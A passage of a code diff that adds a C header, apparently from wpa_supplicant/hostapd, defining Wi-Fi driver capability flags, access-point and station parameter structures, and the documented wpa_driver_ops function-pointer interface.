Whether privacy is used in the BSS + */ + int privacy; + + /** + * beacon_ies - WPS/P2P IE(s) for Beacon frames + * + * This is used to add IEs like WPS IE and P2P IE by drivers that do + * not use the full Beacon template. + */ + const struct wpabuf *beacon_ies; + + /** + * proberesp_ies - P2P/WPS IE(s) for Probe Response frames + * + * This is used to add IEs like WPS IE and P2P IE by drivers that + * reply to Probe Request frames internally. + */ + const struct wpabuf *proberesp_ies; + + /** + * assocresp_ies - WPS IE(s) for (Re)Association Response frames + * + * This is used to add IEs like WPS IE by drivers that reply to + * (Re)Association Request frames internally. + */ + const struct wpabuf *assocresp_ies; + + /** + * isolate - Whether to isolate frames between associated stations + * + * If this is non-zero, the AP is requested to disable forwarding of + * frames between associated stations. + */ + int isolate; + + /** + * cts_protect - Whether CTS protection is enabled + */ + int cts_protect; + + /** + * preamble - Whether short preamble is enabled + */ + int preamble; + + /** + * short_slot_time - Whether short slot time is enabled + * + * 0 = short slot time disable, 1 = short slot time enabled, -1 = do + * not set (e.g., when 802.11g mode is not in use) + */ + int short_slot_time; + + /** + * ht_opmode - HT operation mode or -1 if HT not in use + */ + int ht_opmode; + + /** + * interworking - Whether Interworking is enabled + */ + int interworking; + + /** + * hessid - Homogeneous ESS identifier or %NULL if not set + */ + const u8 *hessid; + + /** + * access_network_type - Access Network Type (0..15) + * + * This is used for filtering Probe Request frames when Interworking is + * enabled. + */ + u8 access_network_type; + + /** + * ap_max_inactivity - Timeout in seconds to detect STA's inactivity + * + * This is used by driver which advertises this capability. + */ + int ap_max_inactivity; + + /** + * disable_dgaf - Whether group-addressed frames are disabled + */ + int disable_dgaf; +}; + +/** + * struct wpa_driver_capa - Driver capability information + */ +struct wpa_driver_capa { +#define WPA_DRIVER_CAPA_KEY_MGMT_WPA 0x00000001 +#define WPA_DRIVER_CAPA_KEY_MGMT_WPA2 0x00000002 +#define WPA_DRIVER_CAPA_KEY_MGMT_WPA_PSK 0x00000004 +#define WPA_DRIVER_CAPA_KEY_MGMT_WPA2_PSK 0x00000008 +#define WPA_DRIVER_CAPA_KEY_MGMT_WPA_NONE 0x00000010 +#define WPA_DRIVER_CAPA_KEY_MGMT_FT 0x00000020 +#define WPA_DRIVER_CAPA_KEY_MGMT_FT_PSK 0x00000040 +#define WPA_DRIVER_CAPA_KEY_MGMT_WAPI_PSK 0x00000080 + unsigned int key_mgmt; + +#define WPA_DRIVER_CAPA_ENC_WEP40 0x00000001 +#define WPA_DRIVER_CAPA_ENC_WEP104 0x00000002 +#define WPA_DRIVER_CAPA_ENC_TKIP 0x00000004 +#define WPA_DRIVER_CAPA_ENC_CCMP 0x00000008 +#define WPA_DRIVER_CAPA_ENC_WEP128 0x00000010 +#define WPA_DRIVER_CAPA_ENC_GCMP 0x00000020 + unsigned int enc; + +#define WPA_DRIVER_AUTH_OPEN 0x00000001 +#define WPA_DRIVER_AUTH_SHARED 0x00000002 +#define WPA_DRIVER_AUTH_LEAP 0x00000004 + unsigned int auth; + +/* Driver generated WPA/RSN IE */ +#define WPA_DRIVER_FLAGS_DRIVER_IE 0x00000001 +/* Driver needs static WEP key setup after association command */ +#define WPA_DRIVER_FLAGS_SET_KEYS_AFTER_ASSOC 0x00000002 +/* unused: 0x00000004 */ +/* Driver takes care of RSN 4-way handshake internally; PMK is configured with + * struct wpa_driver_ops::set_key using alg = WPA_ALG_PMK */ +#define WPA_DRIVER_FLAGS_4WAY_HANDSHAKE 0x00000008 +#define WPA_DRIVER_FLAGS_WIRED 0x00000010 +/* Driver provides separate commands for authentication and association (SME in + * wpa_supplicant). */ +#define WPA_DRIVER_FLAGS_SME 0x00000020 +/* Driver supports AP mode */ +#define WPA_DRIVER_FLAGS_AP 0x00000040 +/* Driver needs static WEP key setup after association has been completed */ +#define WPA_DRIVER_FLAGS_SET_KEYS_AFTER_ASSOC_DONE 0x00000080 +/* Driver takes care of P2P management operations */ +#define WPA_DRIVER_FLAGS_P2P_MGMT 0x00000100 +/* Driver supports concurrent P2P operations */ +#define WPA_DRIVER_FLAGS_P2P_CONCURRENT 0x00000200 +/* + * Driver uses the initial interface as a dedicated management interface, i.e., + * it cannot be used for P2P group operations or non-P2P purposes. + */ +#define WPA_DRIVER_FLAGS_P2P_DEDICATED_INTERFACE 0x00000400 +/* This interface is P2P capable (P2P GO or P2P Client) */ +#define WPA_DRIVER_FLAGS_P2P_CAPABLE 0x00000800 +/* unused: 0x00001000 */ +/* + * Driver uses the initial interface for P2P management interface and non-P2P + * purposes (e.g., connect to infra AP), but this interface cannot be used for + * P2P group operations. + */ +#define WPA_DRIVER_FLAGS_P2P_MGMT_AND_NON_P2P 0x00002000 +/* + * Driver is known to use sane error codes, i.e., when it indicates that + * something (e.g., association) fails, there was indeed a failure and the + * operation does not end up getting completed successfully later. + */ +#define WPA_DRIVER_FLAGS_SANE_ERROR_CODES 0x00004000 +/* Driver supports off-channel TX */ +#define WPA_DRIVER_FLAGS_OFFCHANNEL_TX 0x00008000 +/* Driver indicates TX status events for EAPOL Data frames */ +#define WPA_DRIVER_FLAGS_EAPOL_TX_STATUS 0x00010000 +/* Driver indicates TX status events for Deauth/Disassoc frames */ +#define WPA_DRIVER_FLAGS_DEAUTH_TX_STATUS 0x00020000 +/* Driver supports roaming (BSS selection) in firmware */ +#define WPA_DRIVER_FLAGS_BSS_SELECTION 0x00040000 +/* Driver supports operating as a TDLS peer */ +#define WPA_DRIVER_FLAGS_TDLS_SUPPORT 0x00080000 +/* Driver requires external TDLS setup/teardown/discovery */ +#define WPA_DRIVER_FLAGS_TDLS_EXTERNAL_SETUP 0x00100000 +/* Driver indicates support for Probe Response offloading in AP mode */ +#define WPA_DRIVER_FLAGS_PROBE_RESP_OFFLOAD 0x00200000 +/* Driver supports U-APSD in AP mode */ +#define WPA_DRIVER_FLAGS_AP_UAPSD 0x00400000 +/* Driver supports inactivity timer in AP mode */ +#define WPA_DRIVER_FLAGS_INACTIVITY_TIMER 0x00800000 +/* Driver expects user space implementation of MLME in AP mode */ +#define WPA_DRIVER_FLAGS_AP_MLME 0x01000000 +/* Driver supports SAE with user space SME */ +#define WPA_DRIVER_FLAGS_SAE 0x02000000 +/* Driver makes use of OBSS scan mechanism in wpa_supplicant */ +#define WPA_DRIVER_FLAGS_OBSS_SCAN 0x04000000 +/* Driver supports IBSS (Ad-hoc) mode */ +#define WPA_DRIVER_FLAGS_IBSS 0x08000000 +/* Driver supports radar detection */ +#define WPA_DRIVER_FLAGS_RADAR 0x10000000 +/* Driver supports a dedicated interface for P2P Device */ +#define WPA_DRIVER_FLAGS_DEDICATED_P2P_DEVICE 0x20000000 + unsigned int flags; + + int max_scan_ssids; + int max_sched_scan_ssids; + int sched_scan_supported; + int max_match_sets; + + /** + * max_remain_on_chan - Maximum remain-on-channel duration in msec + */ + unsigned int max_remain_on_chan; + + /** + * max_stations - Maximum number of associated stations the driver + * supports in AP mode + */ + unsigned int max_stations; + + /** + * probe_resp_offloads - Bitmap of supported protocols by the driver + * for Probe Response offloading. + */ +/* Driver Probe Response offloading support for WPS ver. 1 */ +#define WPA_DRIVER_PROBE_RESP_OFFLOAD_WPS 0x00000001 +/* Driver Probe Response offloading support for WPS ver. 2 */ +#define WPA_DRIVER_PROBE_RESP_OFFLOAD_WPS2 0x00000002 +/* Driver Probe Response offloading support for P2P */ +#define WPA_DRIVER_PROBE_RESP_OFFLOAD_P2P 0x00000004 +/* Driver Probe Response offloading support for IEEE 802.11u (Interworking) */ +#define WPA_DRIVER_PROBE_RESP_OFFLOAD_INTERWORKING 0x00000008 + unsigned int probe_resp_offloads; + + unsigned int max_acl_mac_addrs; + + /** + * Number of supported concurrent channels + */ + unsigned int num_multichan_concurrent; + + /** + * extended_capa - extended capabilities in driver/device + * + * Must be allocated and freed by driver and the pointers must be + * valid for the lifetime of the driver, i.e., freed in deinit() + */ + const u8 *extended_capa, *extended_capa_mask; + unsigned int extended_capa_len; +}; + + +struct hostapd_data; + +struct hostap_sta_driver_data { + unsigned long rx_packets, tx_packets, rx_bytes, tx_bytes; + unsigned long current_tx_rate; + unsigned long inactive_msec; + unsigned long flags; + unsigned long num_ps_buf_frames; + unsigned long tx_retry_failed; + unsigned long tx_retry_count; + int last_rssi; + int last_ack_rssi; +}; + +struct hostapd_sta_add_params { + const u8 *addr; + u16 aid; + u16 capability; + const u8 *supp_rates; + size_t supp_rates_len; + u16 listen_interval; + const struct ieee80211_ht_capabilities *ht_capabilities; + const struct ieee80211_vht_capabilities *vht_capabilities; + u32 flags; /* bitmask of WPA_STA_* flags */ + int set; /* Set STA parameters instead of add */ + u8 qosinfo; + const u8 *ext_capab; + size_t ext_capab_len; +}; + +struct hostapd_freq_params { + int mode; + int freq; + int channel; + /* for HT */ + int ht_enabled; + int sec_channel_offset; /* 0 = HT40 disabled, -1 = HT40 enabled, + * secondary channel below primary, 1 = HT40 + * enabled, secondary channel above primary */ + + /* for VHT */ + int vht_enabled; + + /* valid for both HT and VHT, center_freq2 is non-zero + * only for bandwidth 80 and an 80+80 channel */ + int center_freq1, center_freq2; + int bandwidth; +}; + +struct mac_address { + u8 addr[ETH_ALEN]; +}; + +struct hostapd_acl_params { + u8 acl_policy; + unsigned int num_mac_acl; + struct mac_address mac_acl[0]; +}; + +enum wpa_driver_if_type { + /** + * WPA_IF_STATION - Station mode interface + */ + WPA_IF_STATION, + + /** + * WPA_IF_AP_VLAN - AP mode VLAN interface + * + * This interface shares its address and Beacon frame with the main + * BSS. + */ + WPA_IF_AP_VLAN, + + /** + * WPA_IF_AP_BSS - AP mode BSS interface + * + * This interface has its own address and Beacon frame. + */ + WPA_IF_AP_BSS, + + /** + * WPA_IF_P2P_GO - P2P Group Owner + */ + WPA_IF_P2P_GO, + + /** + * WPA_IF_P2P_CLIENT - P2P Client + */ + WPA_IF_P2P_CLIENT, + + /** + * WPA_IF_P2P_GROUP - P2P Group interface (will become either + * WPA_IF_P2P_GO or WPA_IF_P2P_CLIENT, but the role is not yet known) + */ + WPA_IF_P2P_GROUP, + + /** + * WPA_IF_P2P_DEVICE - P2P Device interface is used to indentify the + * abstracted P2P Device function in the driver + */ + WPA_IF_P2P_DEVICE +}; + +struct wpa_init_params { + void *global_priv; + const u8 *bssid; + const char *ifname; + const u8 *ssid; + size_t ssid_len; + const char *test_socket; + int use_pae_group_addr; + char **bridge; + size_t num_bridge; + + u8 *own_addr; /* buffer for writing own MAC address */ +}; + + +struct wpa_bss_params { + /** Interface name (for multi-SSID/VLAN support) */ + const char *ifname; + /** Whether IEEE 802.1X or WPA/WPA2 is enabled */ + int enabled; + + int wpa; + int ieee802_1x; + int wpa_group; + int wpa_pairwise; + int wpa_key_mgmt; + int rsn_preauth; + enum mfp_options ieee80211w; +}; + +#define WPA_STA_AUTHORIZED BIT(0) +#define WPA_STA_WMM BIT(1) +#define WPA_STA_SHORT_PREAMBLE BIT(2) +#define WPA_STA_MFP BIT(3) +#define WPA_STA_TDLS_PEER BIT(4) + +/** + * struct p2p_params - P2P parameters for driver-based P2P management + */ +struct p2p_params { + const char *dev_name; + u8 pri_dev_type[8]; +#define DRV_MAX_SEC_DEV_TYPES 5 + u8 sec_dev_type[DRV_MAX_SEC_DEV_TYPES][8]; + size_t num_sec_dev_types; +}; + +enum tdls_oper { + TDLS_DISCOVERY_REQ, + TDLS_SETUP, + TDLS_TEARDOWN, + TDLS_ENABLE_LINK, + TDLS_DISABLE_LINK, + TDLS_ENABLE, + TDLS_DISABLE +}; + +enum wnm_oper { + WNM_SLEEP_ENTER_CONFIRM, + WNM_SLEEP_ENTER_FAIL, + WNM_SLEEP_EXIT_CONFIRM, + WNM_SLEEP_EXIT_FAIL, + WNM_SLEEP_TFS_REQ_IE_ADD, /* STA requests driver to add TFS req IE */ + WNM_SLEEP_TFS_REQ_IE_NONE, /* STA requests empty TFS req IE */ + WNM_SLEEP_TFS_REQ_IE_SET, /* AP requests driver to set TFS req IE for + * a STA */ + WNM_SLEEP_TFS_RESP_IE_ADD, /* AP requests driver to add TFS resp IE + * for a STA */ + WNM_SLEEP_TFS_RESP_IE_NONE, /* AP requests empty TFS resp IE */ + WNM_SLEEP_TFS_RESP_IE_SET, /* AP requests driver to set TFS resp IE + * for a STA */ + WNM_SLEEP_TFS_IE_DEL /* AP delete the TFS IE */ +}; + +/* enum chan_width - Channel width definitions */ +enum chan_width { + CHAN_WIDTH_20_NOHT, + CHAN_WIDTH_20, + CHAN_WIDTH_40, + CHAN_WIDTH_80, + CHAN_WIDTH_80P80, + CHAN_WIDTH_160, + CHAN_WIDTH_UNKNOWN +}; + +/** + * struct wpa_signal_info - Information about channel signal quality + */ +struct wpa_signal_info { + u32 frequency; + int above_threshold; + int current_signal; + int avg_signal; + int current_noise; + int current_txrate; + enum chan_width chanwidth; + int center_frq1; + int center_frq2; +}; + +/** + * struct beacon_data - Beacon data + * @head: Head portion of Beacon frame (before TIM IE) + * @tail: Tail portion of Beacon frame (after TIM IE) + * @beacon_ies: Extra information element(s) to add into Beacon frames or %NULL + * @proberesp_ies: Extra information element(s) to add into Probe Response + * frames or %NULL + * @assocresp_ies: Extra information element(s) to add into (Re)Association + * Response frames or %NULL + * @probe_resp: Probe Response frame template + * @head_len: Length of @head + * @tail_len: Length of @tail + * @beacon_ies_len: Length of beacon_ies in octets + * @proberesp_ies_len: Length of proberesp_ies in octets + * @proberesp_ies_len: Length of proberesp_ies in octets + * @probe_resp_len: Length of probe response template (@probe_resp) + */ +struct beacon_data { + u8 *head, *tail; + u8 *beacon_ies; + u8 *proberesp_ies; + u8 *assocresp_ies; + u8 *probe_resp; + + size_t head_len, tail_len; + size_t beacon_ies_len; + size_t proberesp_ies_len; + size_t assocresp_ies_len; + size_t probe_resp_len; +}; + +/** + * struct csa_settings - Settings for channel switch command + * @cs_count: Count in Beacon frames (TBTT) to perform the switch + * @block_tx: 1 - block transmission for CSA period + * @freq_params: Next channel frequency parameter + * @beacon_csa: Beacon/probe resp/asooc resp info for CSA period + * @beacon_after: Next beacon/probe resp/asooc resp info + * @counter_offset_beacon: Offset to the count field in beacon's tail + * @counter_offset_presp: Offset to the count field in probe resp. + */ +struct csa_settings { + u8 cs_count; + u8 block_tx; + + struct hostapd_freq_params freq_params; + struct beacon_data beacon_csa; + struct beacon_data beacon_after; + + u16 counter_offset_beacon; + u16 counter_offset_presp; +}; + +/** + * struct wpa_driver_ops - Driver interface API definition + * + * This structure defines the API that each driver interface needs to implement + * for core wpa_supplicant code. All driver specific functionality is captured + * in this wrapper. + */ +struct wpa_driver_ops { + /** Name of the driver interface */ + const char *name; + /** One line description of the driver interface */ + const char *desc; + + /** + * get_bssid - Get the current BSSID + * @priv: private driver interface data + * @bssid: buffer for BSSID (ETH_ALEN = 6 bytes) + * + * Returns: 0 on success, -1 on failure + * + * Query kernel driver for the current BSSID and copy it to bssid. + * Setting bssid to 00:00:00:00:00:00 is recommended if the STA is not + * associated. + */ + int (*get_bssid)(void *priv, u8 *bssid); + + /** + * get_ssid - Get the current SSID + * @priv: private driver interface data + * @ssid: buffer for SSID (at least 32 bytes) + * + * Returns: Length of the SSID on success, -1 on failure + * + * Query kernel driver for the current SSID and copy it to ssid. + * Returning zero is recommended if the STA is not associated. + * + * Note: SSID is an array of octets, i.e., it is not nul terminated and + * can, at least in theory, contain control characters (including nul) + * and as such, should be processed as binary data, not a printable + * string. + */ + int (*get_ssid)(void *priv, u8 *ssid); + + /** + * set_key - Configure encryption key + * @ifname: Interface name (for multi-SSID/VLAN support) + * @priv: private driver interface data + * @alg: encryption algorithm (%WPA_ALG_NONE, %WPA_ALG_WEP, + * %WPA_ALG_TKIP, %WPA_ALG_CCMP, %WPA_ALG_IGTK, %WPA_ALG_PMK, + * %WPA_ALG_GCMP); + * %WPA_ALG_NONE clears the key. + * @addr: Address of the peer STA (BSSID of the current AP when setting + * pairwise key in station mode), ff:ff:ff:ff:ff:ff for + * broadcast keys, %NULL for default keys that are used both for + * broadcast and unicast; when clearing keys, %NULL is used to + * indicate that both the broadcast-only and default key of the + * specified key index is to be cleared + * @key_idx: key index (0..3), usually 0 for unicast keys; 0..4095 for + * IGTK + * @set_tx: configure this key as the default Tx key (only used when + * driver does not support separate unicast/individual key + * @seq: sequence number/packet number, seq_len octets, the next + * packet number to be used for in replay protection; configured + * for Rx keys (in most cases, this is only used with broadcast + * keys and set to zero for unicast keys); %NULL if not set + * @seq_len: length of the seq, depends on the algorithm: + * TKIP: 6 octets, CCMP/GCMP: 6 octets, IGTK: 6 octets + * @key: key buffer; TKIP: 16-byte temporal key, 8-byte Tx Mic key, + * 8-byte Rx Mic Key + * @key_len: length of the key buffer in octets (WEP: 5 or 13, + * TKIP: 32, CCMP/GCMP: 16, IGTK: 16) + * + * Returns: 0 on success, -1 on failure + * + * Configure the given key for the kernel driver. If the driver + * supports separate individual keys (4 default keys + 1 individual), + * addr can be used to determine whether the key is default or + * individual. If only 4 keys are supported, the default key with key + * index 0 is used as the individual key. STA must be configured to use + * it as the default Tx key (set_tx is set) and accept Rx for all the + * key indexes. In most cases, WPA uses only key indexes 1 and 2 for + * broadcast keys, so key index 0 is available for this kind of + * configuration. + * + * Please note that TKIP keys include separate TX and RX MIC keys and + * some drivers may expect them in different order than wpa_supplicant + * is using. If the TX/RX keys are swapped, all TKIP encrypted packets + * will trigger Michael MIC errors. This can be fixed by changing the + * order of MIC keys by swapping te bytes 16..23 and 24..31 of the key + * in driver_*.c set_key() implementation, see driver_ndis.c for an + * example on how this can be done. + */ + int (*set_key)(const char *ifname, void *priv, enum wpa_alg alg, + const u8 *addr, int key_idx, int set_tx, + const u8 *seq, size_t seq_len, + const u8 *key, size_t key_len); + + /** + * init - Initialize driver interface + * @ctx: context to be used when calling wpa_supplicant functions, + * e.g., wpa_supplicant_event() + * @ifname: interface name, e.g., wlan0 + * + * Returns: Pointer to private data, %NULL on failure + * + * Initialize driver interface, including event processing for kernel + * driver events (e.g., associated, scan results, Michael MIC failure). + * This function can allocate a private configuration data area for + * @ctx, file descriptor, interface name, etc. information that may be + * needed in future driver operations. If this is not used, non-NULL + * value will need to be returned because %NULL is used to indicate + * failure. The returned value will be used as 'void *priv' data for + * all other driver_ops functions. + * + * The main event loop (eloop.c) of wpa_supplicant can be used to + * register callback for read sockets (eloop_register_read_sock()). + * + * See below for more information about events and + * wpa_supplicant_event() function. + */ + void * (*init)(void *ctx, const char *ifname); + + /** + * deinit - Deinitialize driver interface + * @priv: private driver interface data from init() + * + * Shut down driver interface and processing of driver events. Free + * private data buffer if one was allocated in init() handler. + */ + void (*deinit)(void *priv); + + /** + * set_param - Set driver configuration parameters + * @priv: private driver interface data from init() + * @param: driver specific configuration parameters + * + * Returns: 0 on success, -1 on failure + * + * Optional handler for notifying driver interface about configuration + * parameters (driver_param). + */ + int (*set_param)(void *priv, const char *param); + + /** + * set_countermeasures - Enable/disable TKIP countermeasures + * @priv: private driver interface data + * @enabled: 1 = countermeasures enabled, 0 = disabled + * + * Returns: 0 on success, -1 on failure + * + * Configure TKIP countermeasures. When these are enabled, the driver + * should drop all received and queued frames that are using TKIP. + */ + int (*set_countermeasures)(void *priv, int enabled); + + /** + * deauthenticate - Request driver to deauthenticate + * @priv: private driver interface data + * @addr: peer address (BSSID of the AP) + * @reason_code: 16-bit reason code to be sent in the deauthentication + * frame + * + * Returns: 0 on success, -1 on failure + */ + int (*deauthenticate)(void *priv, const u8 *addr, int reason_code); + + /** + * associate - Request driver to associate + * @priv: private driver interface data + * @params: association parameters + * + * Returns: 0 on success, -1 on failure + */ + int (*associate)(void *priv, + struct wpa_driver_associate_params *params); + + /** + * add_pmkid - Add PMKSA cache entry to the driver + * @priv: private driver interface data + * @bssid: BSSID for the PMKSA cache entry + * @pmkid: PMKID for the PMKSA cache entry + * + * Returns: 0 on success, -1 on failure + * + * This function is called when a new PMK is received, as a result of + * either normal authentication or RSN pre-authentication. + * + * If the driver generates RSN IE, i.e., it does not use wpa_ie in + * associate(), add_pmkid() can be used to add new PMKSA cache entries + * in the driver. If the driver uses wpa_ie from wpa_supplicant, this + * driver_ops function does not need to be implemented. Likewise, if + * the driver does not support WPA, this function is not needed. + */ + int (*add_pmkid)(void *priv, const u8 *bssid, const u8 *pmkid); + + /** + * remove_pmkid - Remove PMKSA cache entry to the driver + * @priv: private driver interface data + * @bssid: BSSID for the PMKSA cache entry + * @pmkid: PMKID for the PMKSA cache entry + * + * Returns: 0 on success, -1 on failure + * + * This function is called when the supplicant drops a PMKSA cache + * entry for any reason. + * + * If the driver generates RSN IE, i.e., it does not use wpa_ie in + * associate(), remove_pmkid() can be used to synchronize PMKSA caches + * between the driver and wpa_supplicant. If the driver uses wpa_ie + * from wpa_supplicant, this driver_ops function does not need to be + * implemented. Likewise, if the driver does not support WPA, this + * function is not needed. + */ + int (*remove_pmkid)(void *priv, const u8 *bssid, const u8 *pmkid); + + /** + * flush_pmkid - Flush PMKSA cache + * @priv: private driver interface data + * + * Returns: 0 on success, -1 on failure + * + * This function is called when the supplicant drops all PMKSA cache + * entries for any reason. + * + * If the driver generates RSN IE, i.e., it does not use wpa_ie in + * associate(), remove_pmkid() can be used to synchronize PMKSA caches + * between the driver and wpa_supplicant. If the driver uses wpa_ie + * from wpa_supplicant, this driver_ops function does not need to be + * implemented. Likewise, if the driver does not support WPA, this + * function is not needed. + */ + int (*flush_pmkid)(void *priv); + + /** + * get_capa - Get driver capabilities + * @priv: private driver interface data + * + * Returns: 0 on success, -1 on failure + * + * Get driver/firmware/hardware capabilities. + */ + int (*get_capa)(void *priv, struct wpa_driver_capa *capa); + + /** + * poll - Poll driver for association information + * @priv: private driver interface data + * + * This is an option callback that can be used when the driver does not + * provide event mechanism for association events. This is called when + * receiving WPA EAPOL-Key messages that require association + * information. The driver interface is supposed to generate associnfo + * event before returning from this callback function. In addition, the + * driver interface should generate an association event after having + * sent out associnfo. + */ + void (*poll)(void *priv); + + /** + * get_ifname - Get interface name + * @priv: private driver interface data + * + * Returns: Pointer to the interface name. This can differ from the + * interface name used in init() call. Init() is called first. + * + * This optional function can be used to allow the driver interface to + * replace the interface name with something else, e.g., based on an + * interface mapping from a more descriptive name. + */ + const char * (*get_ifname)(void *priv); + + /** + * get_mac_addr - Get own MAC address + * @priv: private driver interface data + * + * Returns: Pointer to own MAC address or %NULL on failure + * + * This optional function can be used to get the own MAC address of the + * device from the driver interface code. This is only needed if the + * l2_packet implementation for the OS does not provide easy access to + * a MAC address. */ + const u8 * (*get_mac_addr)(void *priv); + + /** + * send_eapol - Optional function for sending EAPOL packets + * @priv: private driver interface data + * @dest: Destination MAC address + * @proto: Ethertype + * @data: EAPOL packet starting with IEEE 802.1X header + * @data_len: Size of the EAPOL packet + * + * Returns: 0 on success, -1 on failure + * + * This optional function can be used to override l2_packet operations + * with driver specific functionality. If this function pointer is set, + * l2_packet module is not used at all and the driver interface code is + * responsible for receiving and sending all EAPOL packets. The + * received EAPOL packets are sent to core code with EVENT_EAPOL_RX + * event. The driver interface is required to implement get_mac_addr() + * handler if send_eapol() is used. + */ + int (*send_eapol)(void *priv, const u8 *dest, u16 proto, + const u8 *data, size_t data_len); + + /** + * set_operstate - Sets device operating state to DORMANT or UP + * @priv: private driver interface data + * @state: 0 = dormant, 1 = up + * Returns: 0 on success, -1 on failure + * + * This is an optional function that can be used on operating systems + * that support a concept of controlling network device state from user + * space applications. This function, if set, gets called with + * state = 1 when authentication has been completed and with state = 0 + * when connection is lost. + */ + int (*set_operstate)(void *priv, int state); + + /** + * mlme_setprotection - MLME-SETPROTECTION.request primitive + * @priv: Private driver interface data + * @addr: Address of the station for which to set protection (may be + * %NULL for group keys) + * @protect_type: MLME_SETPROTECTION_PROTECT_TYPE_* + * @key_type: MLME_SETPROTECTION_KEY_TYPE_* + * Returns: 0 on success, -1 on failure + * + * This is an optional function that can be used to set the driver to + * require protection for Tx and/or Rx frames. This uses the layer + * interface defined in IEEE 802.11i-2004 clause 10.3.22.1 + * (MLME-SETPROTECTION.request). Many drivers do not use explicit + * set protection operation; instead, they set protection implicitly + * based on configured keys. + */ + int (*mlme_setprotection)(void *priv, const u8 *addr, int protect_type, + int key_type); + + /** + * get_hw_feature_data - Get hardware support data (channels and rates) + * @priv: Private driver interface data + * @num_modes: Variable for returning the number of returned modes + * flags: Variable for returning hardware feature flags + * Returns: Pointer to allocated hardware data on success or %NULL on + * failure. Caller is responsible for freeing this. + */ + struct hostapd_hw_modes * (*get_hw_feature_data)(void *priv, + u16 *num_modes, + u16 *flags); + + /** + * send_mlme - Send management frame from MLME + * @priv: Private driver interface data + * @data: IEEE 802.11 management frame with IEEE 802.11 header + * @data_len: Size of the management frame + * @noack: Do not wait for this frame to be acked (disable retries) + * Returns: 0 on success, -1 on failure + */ + int (*send_mlme)(void *priv, const u8 *data, size_t data_len, + int noack); + + /** + * update_ft_ies - Update FT (IEEE 802.11r) IEs + * @priv: Private driver interface data + * @md: Mobility domain (2 octets) (also included inside ies) + * @ies: FT IEs (MDIE, FTIE, ...) or %NULL to remove IEs + * @ies_len: Length of FT IEs in bytes + * Returns: 0 on success, -1 on failure + * + * The supplicant uses this callback to let the driver know that keying + * material for FT is available and that the driver can use the + * provided IEs in the next message in FT authentication sequence. + * + * This function is only needed for driver that support IEEE 802.11r + * (Fast BSS Transition). + */ + int (*update_ft_ies)(void *priv, const u8 *md, const u8 *ies, + size_t ies_len); + + /** + * send_ft_action - Send FT Action frame (IEEE 802.11r) + * @priv: Private driver interface data + * @action: Action field value + * @target_ap: Target AP address + * @ies: FT IEs (MDIE, FTIE, ...) (FT Request action frame body) + * @ies_len: Length of FT IEs in bytes + * Returns: 0 on success, -1 on failure + * + * The supplicant uses this callback to request the driver to transmit + * an FT Action frame (action category 6) for over-the-DS fast BSS + * transition. + */ + int (*send_ft_action)(void *priv, u8 action, const u8 *target_ap, + const u8 *ies, size_t ies_len); + + /** + * get_scan_results2 - Fetch the latest scan results + * @priv: private driver interface data + * + * Returns: Allocated buffer of scan results (caller is responsible for + * freeing the data structure) on success, NULL on failure + */ + struct wpa_scan_results * (*get_scan_results2)(void *priv); + + /** + * set_country - Set country + * @priv: Private driver interface data + * @alpha2: country to which to switch to + * Returns: 0 on success, -1 on failure + * + * This function is for drivers which support some form + * of setting a regulatory domain. + */ + int (*set_country)(void *priv, const char *alpha2); + + /** + * get_country - Get country + * @priv: Private driver interface data + * @alpha2: Buffer for returning country code (at least 3 octets) + * Returns: 0 on success, -1 on failure + */ + int (*get_country)(void *priv, char *alpha2); + + /** + * global_init - Global driver initialization + * Returns: Pointer to private data (global), %NULL on failure + * + * This optional function is called to initialize the driver wrapper + * for global data, i.e., data that applies to all interfaces. If this + * function is implemented, global_deinit() will also need to be + * implemented to free the private data. The driver will also likely + * use init2() function instead of init() to get the pointer to global + * data available to per-interface initializer. + */ + void * (*global_init)(void); + + /** + * global_deinit - Global driver deinitialization + * @priv: private driver global data from global_init() + * + * Terminate any global driver related functionality and free the + * global data structure. + */ + void (*global_deinit)(void *priv); + + /** + * init2 - Initialize driver interface (with global data) + * @ctx: context to be used when calling wpa_supplicant functions, + * e.g., wpa_supplicant_event() + * @ifname: interface name, e.g., wlan0 + * @global_priv: private driver global data from global_init() + * Returns: Pointer to private data, %NULL on failure + * + * This function can be used instead of init() if the driver wrapper + * uses global data. + */ + void * (*init2)(void *ctx, const char *ifname, void *global_priv); + + /** + * get_interfaces - Get information about available interfaces + * @global_priv: private driver global data from global_init() + * Returns: Allocated buffer of interface information (caller is + * responsible for freeing the data structure) on success, NULL on + * failure + */ + struct wpa_interface_info * (*get_interfaces)(void *global_priv); + + /** + * scan2 - Request the driver to initiate scan + * @priv: private driver interface data + * @params: Scan parameters + * + * Returns: 0 on success, -1 on failure + * + * Once the scan results are ready, the driver should report scan + * results event for wpa_supplicant which will eventually request the + * results with wpa_driver_get_scan_results2(). + */ + int (*scan2)(void *priv, struct wpa_driver_scan_params *params); + + /** + * authenticate - Request driver to authenticate + * @priv: private driver interface data + * @params: authentication parameters + * Returns: 0 on success, -1 on failure + * + * This is an optional function that can be used with drivers that + * support separate authentication and association steps, i.e., when + * wpa_supplicant can act as the SME. If not implemented, associate() + * function is expected to take care of IEEE 802.11 authentication, + * too. + */ + int (*authenticate)(void *priv, + struct wpa_driver_auth_params *params); + + /** + * set_ap - Set Beacon and Probe Response information for AP mode + * @priv: Private driver interface data + * @params: Parameters to use in AP mode + * + * This function is used to configure Beacon template and/or extra IEs + * to add for Beacon and Probe Response frames for the driver in + * AP mode. The driver is responsible for building the full Beacon + * frame by concatenating the head part with TIM IE generated by the + * driver/firmware and finishing with the tail part. Depending on the + * driver architectue, this can be done either by using the full + * template or the set of additional IEs (e.g., WPS and P2P IE). + * Similarly, Probe Response processing depends on the driver design. + * If the driver (or firmware) takes care of replying to Probe Request + * frames, the extra IEs provided here needs to be added to the Probe + * Response frames. + * + * Returns: 0 on success, -1 on failure + */ + int (*set_ap)(void *priv, struct wpa_driver_ap_params *params); + + /** + * set_acl - Set ACL in AP mode + * @priv: Private driver interface data + * @params: Parameters to configure ACL + * Returns: 0 on success, -1 on failure + * + * This is used only for the drivers which support MAC address ACL. + */ + int (*set_acl)(void *priv, struct hostapd_acl_params *params); + + /** + * hapd_init - Initialize driver interface (hostapd only) + * @hapd: Pointer to hostapd context + * @params: Configuration for the driver wrapper + * Returns: Pointer to private data, %NULL on failure + * + * This function is used instead of init() or init2() when the driver + * wrapper is used with hostapd. + */ + void * (*hapd_init)(struct hostapd_data *hapd, + struct wpa_init_params *params); + + /** + * hapd_deinit - Deinitialize driver interface (hostapd only) + * @priv: Private driver interface data from hapd_init() + */ + void (*hapd_deinit)(void *priv); + + /** + * set_ieee8021x - Enable/disable IEEE 802.1X support (AP only) + * @priv: Private driver interface data + 